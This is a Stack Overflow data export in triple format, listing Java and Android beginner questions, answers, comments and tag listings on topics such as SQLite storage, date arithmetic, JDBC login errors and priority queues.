has text: if it doesn't work maybe you hame some problem in your manage bean , or any bean that you use

jmx
tags question: http://stackoverflow.com/q/22299604
tags question: http://stackoverflow.com/q/22173512
tags question: http://stackoverflow.com/q/22323303
tags question: http://stackoverflow.com/q/22306363
tags question: http://stackoverflow.com/q/22238275
tag name: jmx
tags question: http://stackoverflow.com/q/22199733
tags question: http://stackoverflow.com/q/22189902
type: Tag
tags question: http://stackoverflow.com/q/22294114

http://stackoverflow.com/q/22318573
has comment: http://stackoverflow.com/comment/33924160
has body: I was to store nonserializable object to sqlite in android. but its give me error of object is not Serializable. i just want to know, is that possible or any another way to store this objects ? Thanks in advance.
upvote count: 1
tagged with: sqlite
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/22324948
tagged with: serialization
has comment: http://stackoverflow.com/comment/33915305
has title: How to store Non-serializable object to sqlite in android ? or also you can suggest any another way to store nonserializable arralylist objest
tagged with: android
has comment: http://stackoverflow.com/comment/33918339
has comment: http://stackoverflow.com/comment/33915286
has answer: http://stackoverflow.com/a/22324948
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33915225
type: Question
has comment: http://stackoverflow.com/comment/33915266

http://stackoverflow.com/comment/33899923
has text: A tool? This is about doing simple arithmetic operations with numbers between 0 and 9. I can't imagine what sort of tool you'd use to help with this.
comment on: http://stackoverflow.com/a/22289222
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22254120
has body: I would expect an expired certificate to not be used by the system. So to your code, it should behave as though not found at all.
answers question: http://stackoverflow.com/q/22253862
type: Answer
score: 2
downvote count: 0
upvote count: 2

http://stackoverflow.com/comment/33926483
has text: when u click on the list the editbox activity is open where u enter the num in edit box so same as other list where the editbox is same so i defined the one editText
type: Comment
comment on: http://stackoverflow.com/a/22324741
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33721508
has text: For me it's not clear. When you want to draw an int, then you can do `g.drawSting(String.valueOf(theInt), x, y)` - what's wrong with that?
score: 3
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22210292

http://stackoverflow.com/q/22285544
answer count: 1
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33856320
has body: Right so i have got this class called PlaneSeat, the constructor in another class called PlaneSeat is public PlaneSeat (int seat_id){ this.seatId = seat_id; } 1) I wish to create 12 instances of this class with each PlaneSeat having a seatID of 1-12 Should i do this: (I dont know what this does) private int PlaneSeat; PlaneSeat [] seats = new PlaneSeat[12]; or (I dont know what this does either) private int PlaneSeat[] = { 1,2,3,4,5,6,7,8,9,10,11,12}; Which one is better and what does what? 2) Also, if i have another class where the main is found and i wish to access the seat ID of each seat on the plane, how should i do it? jet1.getSeatID // doesnt work where jet1 is a instance of a plane
has comment: http://stackoverflow.com/comment/33857073
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33860199
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33856221
has answer: http://stackoverflow.com/a/22285611
has title: Creating multiple instances of a class in java
tagged with: arrays
upvote count: 1

http://stackoverflow.com/a/22313388
upvote count: 2
has body: Assuming your 'name' attribute is a string, you can directly compare the names, using s1.name.compareTo(s2.name)
downvote count: 0
answers question: http://stackoverflow.com/q/22313365
has comment: http://stackoverflow.com/comment/33906552
type: Answer
score: 2

http://stackoverflow.com/q/22200177
has comment: http://stackoverflow.com/comment/33701778
tagged with: android
tagged with: sqlite
has body: I have a database, a main activity, and 4 buttons. I tried to make the buttons send a number value to the database when clicked, and then when another button is clicked to display a View that has a number value attached, that is egual to the sum of those 4 buttons clicked. How can I assign a number value to the click of buttons and send the value to the database I have? And how can I add(sum) the values from the database and compare them to a value that I want? classdbOpenHelper.class import android.content.Context; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteOpenHelper; public class classdbOpenHelper extends SQLiteOpenHelper { public static final String KEY_ROWID = "_id"; public static final String KEY_NUMBER = "btnumber"; public static final String KEY_RESULT = "result"; public static final String DATABASE_NAME= "data"; public static final String DATABASE_TABLE = "tabel"; public static final int DATABASE_VERSION = 1; public classdbOpenHelper(Context context) { super(context, DATABASE_NAME, null, DATABASE_VERSION); // TODO Auto-generated constructor stub } @Override public void onCreate(SQLiteDatabase db) { db.execSQL("CREATE TABLE" + DATABASE_TABLE + " (" + KEY_ROWID + " INTEGER PRIMARY KEY AUTOINCREMENT " + KEY_NUMBER + " INTEGER " + KEY_RESULT + " INTEGER); " ); } @Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { // TODO Auto-generated method stub db.execSQL("DROP TABLE IF EXITS " + DATABASE_TABLE); onCreate(db); }} MainActivity.class import android.os.Bundle; import android.app.Activity; import android.database.Cursor; import android.view.Menu; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.ImageButton; import android.widget.ScrollView; public class MainActivity extends Activity { DBAdapter myDb; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_go…
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22200924
has title: Inserting the values in SQL Database, returning them added together and comparing the reult
tagged with: java
tagged with: database
tagged with: eclipse
type: Question
answer count: 1
score: 0

reflection
tags question: http://stackoverflow.com/q/22244402
tags question: http://stackoverflow.com/q/22187700
tags question: http://stackoverflow.com/q/22274860
tags question: http://stackoverflow.com/q/22285606
tags question: http://stackoverflow.com/q/22296931
tags question: http://stackoverflow.com/q/22213401
tags question: http://stackoverflow.com/q/22232967
tags question: http://stackoverflow.com/q/22234766
tags question: http://stackoverflow.com/q/22327204
tags question: http://stackoverflow.com/q/22289859
tags question: http://stackoverflow.com/q/22273856
tags question: http://stackoverflow.com/q/22200676
type: Tag
tags question: http://stackoverflow.com/q/22295638
tags question: http://stackoverflow.com/q/22199477
tags question: http://stackoverflow.com/q/22292229
tags question: http://stackoverflow.com/q/22312008
tags question: http://stackoverflow.com/q/22193980
tags question: http://stackoverflow.com/q/22182599
tag name: reflection
tags question: http://stackoverflow.com/q/22268450

http://stackoverflow.com/a/22313446
downvote count: 0
upvote count: 2
type: AcceptedAnswer
has body: from what it looks like is your setting the content view setContentView(R.layout.activity_main); but there is no button in activity_main.xml from what you have provided and it is showing a nullpointerexception because newButton = (Button) findViewById(R.id.buttonNew); is null because that actual button from the information you provided is in fragment_main.xml so you can try setContentView(R.layout.fragment_main);
type: Answer
accepted answer of: http://stackoverflow.com/q/22312849
score: 2
answers question: http://stackoverflow.com/q/22312849

http://stackoverflow.com/q/22208263
has answer: http://stackoverflow.com/a/22208311
has title: Reading input from a text file using scanner into array
score: 0
has comment: http://stackoverflow.com/comment/33716403
type: UnansweredQuestion
has body: I am trying to read the input from a text file using scanner class and pass into an array. I know how to read the input using scanner class. The only problem I am facing here is I am unable to pass into the array. public class ReadItemData { public static void main(String[] args) throws Exception { Scanner aScanner = new Scanner(new FileReader( "src//chapter11//Items.txt")); while (aScanner.hasNext()) { String code = aScanner.next(); String sku = aScanner.next(); double qty = aScanner.nextDouble(); System.out.println(code + " " + sku + " " + qty); } } The above code works without the array concept. I want to extend the same concept to read the above data into a array of size 100. Any suggestions would be helpful. My final aim is to sort the input which is in array by code,sku This is how I used comparable interface for sorting. How can I extend this concept for arrays? I used something like this for sorting(without the array concept) class Item implements Comparable { private int qty; private String sku,code; public Item(int qty, String sku,String code) { this.qty = qty; this.sku = sku; this.code = code; } public int getQty() { return qty; } public String getSku() { return sku; } public String getCode() { return code; } public int compareTo(Object o) { Item i = (Item) o; if (this.getQty() &lt; i.getQty()) { return -1; } if (this.getQty() &gt; i.getQty()) { return 1; } return 0; } } Thanks!!
linked to: http://stackoverflow.com/q/15452429
tagged with: java
has answer: http://stackoverflow.com/a/22208379
type: Question
answer count: 2
tagged with: arrays

resources
tags question: http://stackoverflow.com/q/22251117
tags question: http://stackoverflow.com/q/22290228
tags question: http://stackoverflow.com/q/22228055
tags question: http://stackoverflow.com/q/22261183
type: Tag
tag name: resources
tags question: http://stackoverflow.com/q/22327425

http://stackoverflow.com/q/22199684
answer count: 3
downvote count: 3
has answer: http://stackoverflow.com/a/22199771
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22199931
has comment: http://stackoverflow.com/comment/33700385
has body: I need to get the time difference between to different dates in HH:MM format.Suppose I had two dates like this 02/26/2014 09:00:00 and 02/26/2014 19:30:00 I need to get the difference in hh:mm like 09:30. I googled and tried to find solution for this but they are giving the individual hours and minutes. I am not allowed to use Third party libraries like Joda for this. Can anyone please point me in the right direction? UPDATE I tried the following code public class DateDifferentExample { /** * @param args */ public static void main(String[] args) { String dateStart = "02/26/2014 09:00:00"; String dateStop = "02/26/2014 19:05:00"; //HH converts hour in 24 hours format (0-23), day calculation SimpleDateFormat format = new SimpleDateFormat("MM/dd/yyyy HH:mm:ss"); Date d1 = null; Date d2 = null; try { d1 = format.parse(dateStart); d2 = format.parse(dateStop); //in milliseconds long diff = d2.getTime() - d1.getTime(); System.out.println("Time difference--&gt;"+diff); long diffSeconds = diff / 1000 % 60; long diffMinutes = diff / (60 * 1000) % 60; long diffHours = diff / (60 * 60 * 1000) % 24; long diffDays = diff / (24 * 60 * 60 * 1000); int diffInDays = (int) (d2.getTime() - d1.getTime()); System.out.println("Difference--&gt; "+diffInDays); String difft=diffHours+":"+diffMinutes; System.out.println("Duration Time:"+difft); /*System.out.print(diffDays + " days, "); System.out.print(diffHours + " hours, "); System.out.print(diffMinutes + " minutes, "); System.out.print(diffSeconds + " seconds.");*/ //System.out.println("Getting date diff from the other method---&gt;"+calculateDays(d1, d2)); } catch (Exception e) { e.printStackTrace(); } } /*public static long getDateDiff(Date date1, Date date2, TimeUnit timeUnit) { long diffInMillies = date2.getTime() - date1.getTime(); return timeUnit.convert(diffInMillies,TimeUnit.MILLISECONDS); }*/ public static long calculateDays(Date dateEarly, Date dateLater) { return (dateLater.getTime() - dateEarly.getTime()) / (24 * 60 * 60 * 1000…
possible better answer: http://stackoverflow.com/a/22199931
has title: Need to get the time difference between the two dates in hh:mm format
type: Question
has answer: http://stackoverflow.com/a/22200008
accepted answer: http://stackoverflow.com/a/22200008
tagged with: java
tagged with: date
upvote count: 3
score: 0

http://stackoverflow.com/q/22214648
type: AnsweredQuestion
score: 1
tagged with: java
accepted answer: http://stackoverflow.com/a/22214682
type: Question
answer count: 2
has title: Finding the Minimum in a Priority Queue (heap)
downvote count: 0
has answer: http://stackoverflow.com/a/22214730
favorite count: 0
tagged with: heap
linked to: http://stackoverflow.com/q/26757820
possible better answer: http://stackoverflow.com/a/22214730
has body: I am trying to learn the how to use Priority Queues, and there is one method I do not fully understand and would like some help as to how it works. That method is findMin. The part I want to understand is why the biggest number ends up in location 0 of the array? Then, since the list is sorted, its easy to find the smallest number in location [1] of the array. But why? Here is all the code I am looking at: public class BinaryHeap&lt;AnyType extends Comparable&lt;? super AnyType&gt;&gt; { /** * Construct the binary heap. */ public BinaryHeap( ) { this( DEFAULT_CAPACITY ); } /** * Construct the binary heap. * @param capacity the capacity of the binary heap. */ public BinaryHeap( int capacity ) { currentSize = 0; array = (AnyType[]) new Comparable[ capacity + 1 ]; } /** * Construct the binary heap given an array of items. */ public BinaryHeap( AnyType [ ] items ) { currentSize = items.length; array = (AnyType[]) new Comparable[ ( currentSize + 2 ) * 11 / 10 ]; int i = 1; for( AnyType item : items ) array[ i++ ] = item; buildHeap( ); } /** * Insert into the priority queue, maintaining heap order. * Duplicates are allowed. * @param x the item to insert. */ public void insert( AnyType x ) { if( currentSize == array.length - 1 ) enlargeArray( array.length * 2 + 1 ); // Percolate up int hole = ++currentSize; for( array[ 0 ] = x; x.compareTo( array[ hole / 2 ] ) &lt; 0; hole /= 2 ) array[ hole ] = array[ hole / 2 ]; array[ hole ] = x; } private void enlargeArray( int newSize ) { AnyType [] old = array; array = (AnyType []) new Comparable[ newSize ]; for( int i = 0; i &lt; old.length; i++ ) array[ i ] = old[ i ]; } /** * Find the smallest item in the priority queue. * @return the smallest item, or throw an UnderflowException if empty. */ public AnyType findMin( ) { if( isEmpty( ) ) return null; return array[ 1 ]; } /** * Remove the smallest item from the priority queue. * @return the smallest item, or throw an UnderflowException if empty. */ public AnyType deleteMin( ) { if( …
has answer: http://stackoverflow.com/a/22214682
tagged with: priority-queue
upvote count: 1

http://stackoverflow.com/q/22213496
score: 1
has comment: http://stackoverflow.com/comment/33726339
linked to: http://stackoverflow.com/q/767372
tagged with: java
possible better answer: http://stackoverflow.com/a/22213526
favorite count: 0
has answer: http://stackoverflow.com/a/22213531
accepted answer: http://stackoverflow.com/a/22213531
type: Question
has title: Searching a list of items with a specific name
has comment: http://stackoverflow.com/comment/33726237
answer count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/33726215
has body: I am doing an Object Oriented program which contains a class Catalog and a class Products. Catalog has a method which suppose to search a list of products with a specific name that are read from a file. Everything works but the getProducts is not working. This is the Catalog class with the getProducts(String name) import java.io.File; import java.io.FileNotFoundException; import java.util.* public class Catalog{ private static int MAX_ITEMS = 10; private Products[] list; private int nextItem; /** * Default constructor */ public Catalog(){ list = new Products[MAX_ITEMS]; nextItem = 0; } /** * Reads items from an input file. */ public void loadList(String fileName) throws FileNotFoundException { if ( (fileName != null) &amp;&amp; (!fileName.equals("")) ) { Scanner input = new Scanner(new File(fileName)); String newLine = null; String name = null; int quantity = 0; double price = 0.0; while (input.hasNextLine() &amp;&amp; nextItem &lt; MAX_ITEMS) { if (input.hasNext()) { name = input.next(); } else { System.err.println("ERROR Not a String"); System.exit(2); } if (input.hasNextInt()) { quantity = input.nextInt(); } else { System.err.println("ERROR Not an integer"); System.exit(2); } if (input.hasNextDouble()) { price = input.nextDouble(); } else { System.err.println("ERROR Not a double"); System.exit(2); } list[nextItem] = new Products(name, quantity, price); newLine = input.nextLine(); nextItem += 1; } } return; } /** * Calculate the total cost of products. */ public double getTotalPrice(){ double total = 0.0; for(int i=0; i &lt; nextItem; i++){ Products products = list[i]; total+=products.getTotalPrice(); } return total; } /** * Search Catalog items with a product name and returns it to caller */ public Products getProducts(String name){ **//search a list for string equality using the name of the product and returns it to the caller** for(int i=0; i&lt;nextItem; i++){ Products item = list[i]; if(item.equals(name)){ return item; //What is suppose to be returned or how …
has comment: http://stackoverflow.com/comment/33726220
has answer: http://stackoverflow.com/a/22213526
has comment: http://stackoverflow.com/comment/33726291
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/33775912
comment on: http://stackoverflow.com/a/22215993
has text: Thanks for your help. The null layout is just for when I'm testing something or trying to get it to work, I personally prefer using the springLayout (or the cardLayout for when I'm working with multiple panels) for more serous work.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33684324
has text: i am sorry that the image still don't show
comment on: http://stackoverflow.com/q/22190226
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33740600
type: QuestionComment
comment on: http://stackoverflow.com/q/22222085
type: Comment
score: 2
has text: International day of puzzles.

http://stackoverflow.com/comment/33899257
comment on: http://stackoverflow.com/q/22309292
type: QuestionComment
has text: have you initialized `directory array` with some Directory object?
score: 0
type: Comment

http://stackoverflow.com/comment/34159209
comment on: http://stackoverflow.com/q/22246780
has text: So.By default Gson means that field name in Java class match with json field, like field name "email" in json string presents as "email". If field in class doesn't match with field in Json than you should insert SerializedName annotation with corresponding field in Json. See Gson documentation https://sites.google.com/site/gson/gson-user-guide.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/comment/33864928
score: 0
comment on: http://stackoverflow.com/q/22290169
type: Comment
type: QuestionComment
has text: You're right, you're not thinking about it the right way.

http://stackoverflow.com/a/22293434
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22293356
answers question: http://stackoverflow.com/q/22293356
type: Answer
has body: Change Sum class a little bit class Sum { public ArraryList&lt;String&gt; main() { // TODO Auto-generated method stub ArrayList&lt;String&gt; ac= new ArrayList&lt;String&gt;(); ac.add("hai"); ac.add("hw"); ac.add("ai"); ac.add("hi"); ac.add("hai"); Iterator it=ac.iterator(); while(it.hasNext()) { System.out.println(it.next()); } return ac; } } Now change your f class like this public class f extends sum { public static void main(String[] args) { ArrayList&lt;String&gt; ac = new Sum().main(); // now you can use ac } }

http://stackoverflow.com/comment/34072450
type: AnswerComment
has text: http://stackoverflow.com/questions/1082437/android-alarmmanager they got examples using calander as well as boot time and the milliseconds since 1970 epoch unix timestamp
type: Comment
score: 1
comment on: http://stackoverflow.com/a/22309406

http://stackoverflow.com/comment/34061294
score: 0
comment on: http://stackoverflow.com/q/22228851
type: Comment
has text: Enough research will give the answer :) and we want to find the answer. So some research and some attempt is required. Anyways did you try making use of the maven error: `[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.` Also if possible try to provide your `service.xml`
type: QuestionComment

http://stackoverflow.com/comment/33840319
score: 0
type: AnswerComment
has text: I gotta go for today, but I'll take a look at that tomorrow, thanks!
type: Comment
comment on: http://stackoverflow.com/a/22275584

http://stackoverflow.com/q/22226067
has answer: http://stackoverflow.com/a/22226263
has body: I have SQL Server Installed and now I want to use it for JDBC connectivity. I have enabled the TCP/IP connection via manager and Mixed mode authentication via Object explorer properties. Now my connection statement says Class.forName( "com.microsoft.sqlserver.jdbc.SQLServerDriver" ); // no error Connection c = DriverManager.getConnection( "jdbc:sqlserver://localhost:1433;databaseName=student;user=gagan;password=35795200"); where gagan is my username and 35795200 is my windows login password. I still get the login failed exception. I am really fed up with this. Please help !
has comment: http://stackoverflow.com/comment/33747797
type: Question
has answer: http://stackoverflow.com/a/22226654
tagged with: java
linked to: http://stackoverflow.com/q/2606653
has comment: http://stackoverflow.com/comment/33748092
has title: Login failed for user gagan(JDBC, MS SQL Server)
score: 0
answer count: 3
tagged with: sql
tagged with: sql-server
has comment: http://stackoverflow.com/comment/33748488
type: UnansweredQuestion
tagged with: jdbc
has comment: http://stackoverflow.com/comment/33748234
has answer: http://stackoverflow.com/a/22228291
has comment: http://stackoverflow.com/comment/33747570

http://stackoverflow.com/a/22196833
type: Answer
answers question: http://stackoverflow.com/q/22196566
upvote count: 5
has body: Sorry for being so amateur please read Oracle tutorial How to use Tables, especially part Creating Table Model I created a 'button' on frame so that when we click the button for the first time, A ROW will be inserted on frame. But all i want that when i click the button on THE SECOND TIME , the ROW IS REFRESHED (Not creating a new row !) , i suspect 'new Object[] { "", "", ""}' is the cause , because the object is created everytime i click the button, so how could i possibly modify the code ? not clear from question (nothing is added to JTable) if you want to: add a new row (model.addRow) remove all rows (setDataVector/setRowCount) reset value in JTables view (setValueAt) but everything is described in Oracle tutorial, rest in the DefaultTableModel
score: 5
downvote count: 0

http://stackoverflow.com/q/22173622
tagged with: java
tagged with: zxing
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22175890
has title: multiple scan buttons Zxing
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: android
has body: I'm working on a small Android project .. I have the Xzing barcode scanners linked and everything worked. now I need again a scann-button. But when I scan with the second button, it writes me the result in the same field as the first scann-button.can someone help me? package de.example.addmeter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.requestWindowFeature(Window.FEATURE_NO_TITLE); //Fullscreen setContentView(R.layout.add_strom); } public void onClick1 (View view) { IntentIntegrator integrator = new IntentIntegrator(this); integrator.initiateScan(); } public void onActivityResult(int requestCode, int resultCode, Intent intent) { IntentResult scanResult = IntentIntegrator.parseActivityResult(requestCode, resultCode, intent); if (scanResult != null) { String meterid; meterid = scanResult.getContents(); EditText etmeterid = (EditText) findViewById(R.id.etmeterid); etmeterid.setText(meterid); } } public void onClick2 (View view) { IntentIntegrator integrator = new IntentIntegrator(this); integrator.initiateScan(); } public void onActivityResult1(int requestCode, int resultCode, Intent intent) { IntentResult scanResult = IntentIntegrator.parseActivityResult(requestCode, resultCode, intent); if (scanResult != null) { String security; security = scanResult.getContents(); EditText etsecurity = (EditText) findViewById(R.id.etsecurity); etsecurity.setText(security); } }
score: 1

http://stackoverflow.com/comment/33850511
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22282285
has text: Sounds like you didn't try hard enough :-)
score: 0

http://stackoverflow.com/comment/33800586
comment on: http://stackoverflow.com/a/22253414
type: AnswerComment
type: Comment
has text: Character encoding: the HTTP request, headers and response headers are textual. You're generating the POST request with a PrintWriter using the default character set (rather than explcitly using US-ASCII or UTF-8), and casting bytes directly to chars in the server, which assumes that your server's default character encoding is also ASCII-ish. Despite appearances, HTTP (plus multipart etc.) is a pretty complex protocol, and difficult to implement correctly.
score: 1

http://stackoverflow.com/a/59678878
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/22266775
type: Answer
has body: You can use the iterationStatus to begin with 1 instead of 0. This gives the table Sno. Starting with 1. You may visit https://www.instamag.org/2024/08/adding-serial-number-while-performing.html for more details.
has comment: http://stackoverflow.com/comment/133343679
score: 4
has comment: http://stackoverflow.com/comment/126164996

http://stackoverflow.com/comment/33730533
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22216126
has text: It compare the time and millisecond too
score: 0

http://stackoverflow.com/q/22179860
score: 0
has comment: http://stackoverflow.com/comment/33673461
tagged with: android
answer count: 1
has comment: http://stackoverflow.com/comment/33667504
has comment: http://stackoverflow.com/comment/33670599
has comment: http://stackoverflow.com/comment/33669253
has title: Collision detection not working in 2d android
has body: I am making a small side 2d scrolling game and for some reason my collision detection is not working. I can't figure it out I have been trying to fix it for a couple days but nothing seems to work. Can you help me! Thanks in advance!!!! public class GameScreen extends Screen { enum GameState { Ready, Running, Paused, GameOver } static GameState state = GameState.Ready; // Variable Setup // You would create game objects here. public Paint paint, paint2; public static int gameHeight = AndroidGame.height; public static int gameWidth = AndroidGame.width; public static int byX = SampleGame.x; public static int byY = SampleGame.y; public static int x = 60; public static int y = AndroidGame.height - 80; public static int surface = AndroidGame.height - 80; public static int numberSq = 25; public static int[] values; public double counter2 = 4; public int counterStep; public Image person; public static Image[] walk = new Image[9]; public static Image object; private Animation anim; public static int up = 0; public static int right = 0; public long jumpTime = 200; public static Rect[] valuesSq; public static Rect[] valuesSq2; public static Rect[] valuesSq3; public static Rect rectOne; public static Rect rectTwo; public int colide = 0; public static boolean boolResult; private Collision collision; public GameScreen(Game game) { super(game); rectOne = new Rect(x, y, 27, 75); valuesSq = new Rect[numberSq]; valuesSq2 = new Rect[numberSq]; valuesSq3 = new Rect[numberSq]; values = new int[numberSq]; values[0] = 300; for (int i = 1; i &lt; numberSq; i++) { values[i] = (values[i - 1] + 200); } object = Assets.object; walk[1] = Assets.walk[1]; walk[2] = Assets.walk[2]; walk[3] = Assets.walk[3]; walk[4] = Assets.walk[4]; walk[5] = Assets.walk[5]; walk[6] = Assets.walk[6]; walk[7] = Assets.walk[7]; walk[8] = Assets.walk[8]; anim = new Animation(); anim.addFrame(walk[1], 50); anim.addFrame(walk[2], 50); anim.addFrame(walk[3], 50); anim.addFrame(walk[4], 50); anim.addFrame(walk[5], 50); a…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33677632
accepted answer: http://stackoverflow.com/a/22187330
tagged with: java
tagged with: eclipse
has comment: http://stackoverflow.com/comment/33675218
has comment: http://stackoverflow.com/comment/33666796
type: Question
has answer: http://stackoverflow.com/a/22187330
has comment: http://stackoverflow.com/comment/33668477
has comment: http://stackoverflow.com/comment/33668332

multithreading
tags question: http://stackoverflow.com/q/22222768
tags question: http://stackoverflow.com/q/22197768
tags question: http://stackoverflow.com/q/22269389
tags question: http://stackoverflow.com/q/22307118
tags question: http://stackoverflow.com/q/22215043
tags question: http://stackoverflow.com/q/22317659
tags question: http://stackoverflow.com/q/22189475
tags question: http://stackoverflow.com/q/22311539
tags question: http://stackoverflow.com/q/22308158
tags question: http://stackoverflow.com/q/22275916
type: Tag
tags question: http://stackoverflow.com/q/22319789
tags question: http://stackoverflow.com/q/22224243
tags question: http://stackoverflow.com/q/22201510
tags question: http://stackoverflow.com/q/22283462
tags question: http://stackoverflow.com/q/22248824
tags question: http://stackoverflow.com/q/22287439
tags question: http://stackoverflow.com/q/22223139
tags question: http://stackoverflow.com/q/22183354
tags question: http://stackoverflow.com/q/22236928
tags question: http://stackoverflow.com/q/22199961
tags question: http://stackoverflow.com/q/22198104
tags question: http://stackoverflow.com/q/22209393
tags question: http://stackoverflow.com/q/22242287
tags question: http://stackoverflow.com/q/22230255
tags question: http://stackoverflow.com/q/22199690
tags question: http://stackoverflow.com/q/22206931
tags question: http://stackoverflow.com/q/22237511
tags question: http://stackoverflow.com/q/22191098
tags question: http://stackoverflow.com/q/22248327
tags question: http://stackoverflow.com/q/22279993
tags question: http://stackoverflow.com/q/22263657
tags question: http://stackoverflow.com/q/22173072
tags question: http://stackoverflow.com/q/22303032
tags question: http://stackoverflow.com/q/22225008
tags question: http://stackoverflow.com/q/22327498
tags question: http://stackoverflow.com/q/22268450
tags question: http://stackoverflow.com/q/22213064
tags question: http://stackoverflow.com/q/22276545
tags question: http://stackoverflow.com/q/22248630
tags question: http://stackoverflow.com/q/22289695
tags question: http://stackoverflow.com/q/22234924
tags question: http://stackoverflow.com/q/22229792
tags question: http://stackoverflow.com/q/22268712
tags question: http://stackoverflow.com/q/22258607
tags question: http://stackoverflow.com/q/22282632
tags question: http://stackoverflow.com/q/22234065
tags question: http://stackoverflow.com/q/22198586
tags question: http://stackoverflow.com/q/22181107
tags question: http://stackoverflow.com/q/22191728
tags question: http://stackoverflow.com/q/22313120
tags question: http://stackoverflow.com/q/22239587
tags question: http://stackoverflow.com/q/22265102
tags question: http://stackoverflow.com/q/22312352
tags question: http://stackoverflow.com/q/22183000
tags question: http://stackoverflow.com/q/22316882
tags question: http://stackoverflow.com/q/22201762
tags question: http://stackoverflow.com/q/22213087
tags question: http://stackoverflow.com/q/22293175
tags question: http://stackoverflow.com/q/22213889
tags question: http://stackoverflow.com/q/22258266
tags question: http://stackoverflow.com/q/22317440
tags question: http://stackoverflow.com/q/22214684
tags question: http://stackoverflow.com/q/22258137
tags question: http://stackoverflow.com/q/22213240
tags question: http://stackoverflow.com/q/22289789
tags question: http://stackoverflow.com/q/22205850
tags question: http://stackoverflow.com/q/22273045
tags question: http://stackoverflow.com/q/22180458
tags question: http://stackoverflow.com/q/22327727
tags question: http://stackoverflow.com/q/22277378
tags question: http://stackoverflow.com/q/22184324
tags question: http://stackoverflow.com/q/22325905
tags question: http://stackoverflow.com/q/22257910
tags question: http://stackoverflow.com/q/22264809
tags question: http://stackoverflow.com/q/22177774
tags question: http://stackoverflow.com/q/22183015
tags question: http://stackoverflow.com/q/22290937
tags question: http://stackoverflow.com/q/22195026
tags question: http://stackoverflow.com/q/22318804

http://stackoverflow.com/q/22203162
type: AnsweredQuestion
upvote count: 2
score: 1
tagged with: java
accepted answer: http://stackoverflow.com/a/22203605
has title: Loading resources (images) contained in a .Jar file or in the classpath
has body: So I've tried various reading various fixes for this problem on stack exchange most say to use getResourceAsStream() method, which I have done. This is my Resource input method for the Jar . import java.io.InputStream; public class ResourceLoader { public static InputStream load(String path){ InputStream input = ResourceLoader.class.getResourceAsStream(path); if(input == null){ input = ResourceLoader.class.getResourceAsStream("/" + path); } return input; } } This is then used in my ImageLoader class. public class ImageLoader { public BufferedImage load(String path){ try { // return ImageIO.read(getClass().getResource(path)); return ImageIO.read(ResourceLoader.load(path)); } catch (IOException e) { e.printStackTrace(); } return null; } } and the images are loaded in the main program using ImageLoader loader = new ImageLoader(); spriteSheet = loader.load("/spritesheet.png"); Now in eclipse the game runs and loads all images perfectly fine. But what I want to do is export it to Jar, which I have done using some tutorials and have succeeded in exporting it with the resource folder which contains my images that are used. But when I try and run the .jar file this error pops up in the cmd line. Exception in thread "Thread-2" java,lang.IllegalArgumentException: input == null ! at javax.imageio.ImageIO.read&lt;Image.IO.java:1348&gt; at gfx.ImageLoader.load&lt;ImageLoader.java:15&gt; at man.Gaim.init(Game.java:100&gt; at main.Game.run&lt;Game.java:150&gt; at java.lang.Thread.run&lt;Thread.java:722&gt; So what I'm gathering is that the image file locations are not being read properly or I inputed them wrong somehow which is returning null and none of the images are loading. When the .Jar is run the Panel appears but nothing is painted to it and that error is given. This program does work perfectly in eclipse with no errors and all images loading. EDIT 1: Robermann your solution for the getClass().getClassLoader().getResourceAsStream(path)) works. The only thing is I need to ha…
linked to: http://stackoverflow.com/q/22045718
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33714549
answer count: 1
tagged with: jar
has comment: http://stackoverflow.com/comment/33709580
has answer: http://stackoverflow.com/a/22203605
linked to: http://stackoverflow.com/q/18547780
favorite count: 0

http://stackoverflow.com/comment/33687468
comment on: http://stackoverflow.com/q/22191902
type: Comment
type: QuestionComment
has text: `Intent intent = intent = new Intent` is this a typo error?
score: 0

http://stackoverflow.com/a/22294293
type: Answer
answers question: http://stackoverflow.com/q/22294235
has body: It's pretty easy if you use the JodaTime library. DateTime dt = new DateTime(); DateTimeFormatter fmt = DateTimeFormat.forPattern("MM/dd.YYYY"); String str = fmt.print(dt);
score: 0

http://stackoverflow.com/q/22305773
